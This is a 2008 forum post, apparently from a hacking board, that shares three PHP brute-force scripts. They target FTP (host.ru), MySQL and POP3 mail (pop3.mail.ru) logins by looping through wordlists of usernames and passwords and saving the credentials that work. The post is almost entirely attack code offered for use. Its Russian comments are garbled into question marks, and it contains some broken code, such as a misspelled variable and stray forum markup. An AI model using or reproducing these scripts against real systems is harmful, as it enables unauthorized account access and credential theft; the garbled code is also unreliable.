MasT3r ZaTaN Posted July 17, 2008 Report Posted July 17, 2008 Ftp brute<?phpset_time_limit(0);$host = "host.ru"; // ????????? ????$port = 21; // ????????? ????$uid_file = file("login.txt"); // ???? ? ???????$pwd_file = file("passw.txt"); // ???? ? ????????$brute_save = fopen("brute_save_ftp.txt","a+"); // ???? ????? ?????? ?????????? ????????$yes_connect = 0;$no_connect = 0;if($conn = @ftp_connect($host, $port)) {for($i=0; $i<count($uid_file); $i++) {$login = trim($uid_file[$i]);for($j=0; $j<count($pwd_file); $j++) {$passwd = trim($pwd_file[$j]);if($ftp_conn = @ftp_login($conn, $login, $passwd)) {fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n");ftp_quit($conn);$yes_connect++;}else {$no_connect++;continue;}}}}else {echo "<font face=Tahoma color=#444444 size=2>?? ??????? ?????????? ????? ? $host</font>";exit();}echo "<font face=Tahoma color=#444444 size=2>??????? ???????????: $yes_connect</font>";echo "<font face=Tahoma color=red size=2>????????? ???????: $no_connect</font>";$[b][/b]show_brute = file("brute_save_ftp.txt");for($i=0; $i<count($show_brute); $i++) {list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]);echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font>";}?>SQL Brute<?php$host = "localhost"; // ????????? ???? ?? ??????? ????? ???????$port = "3306"; // ????????? ???? ???????$uid_file = file("login.txt"); // ???? ? ???????$pwd_file = file("passw.txt"); // ???? ? ????????$brute_save = fopen("brute_save.txt","a+"); // ???? ????? ?????? ?????????? ????????$yes_connect = 0;$no_connect = 0;for($i=0; $i<count($uid_file); $i++) {$login = trim($uid_file[$i]);for($j=0; $j<count($pwd_file); $j++) {$passwd = trim($pwd_file[$j]);if($conn = @mysql_connect($host.":".$port, $login, $passwd)) {flock($brute_save, 3);fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n");flock($brute_save, 1);mysql_close($conn);$yes_connect++;}else {$no_connect++;continue;}}}echo "<font face=Tahoma color=#444444 size=2>??????? ???????????: $yes_connect</font>";echo "<font face=Tahoma color=red size=2>????????? ???????: $no_connect</font>";$show_brute = file("brute_save.txt");for($i=0; $i<count($show_brute); $i++) {list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]);echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font>";}?>Mail Brute<?phpset_time_limit(0);$user_login = file("user_mail.txt");$uesr_passwd = file("user_passwd.txt");$apop = 0;include_once("./pop3.php");for($i=0; $i<count($user_login); $i++) {$u_login = trim($user_login[$i]);for($j=0; $j<count($user_passwd); $j++) {$u_passwd = trim($user_passwd[$j]);$pop3_connection = new pop3_class;$pop3_connection->hostname = "pop3.mail.ru";if($pop3_connection->Open()) {if($pop3_connection->Login($u_login, $u_passwd, $apop)) {echo "Congritulation!";$pop3_connection->Close();}else {echo "SHIT";}}else {echo "Failed!";exit();}}}?> Quote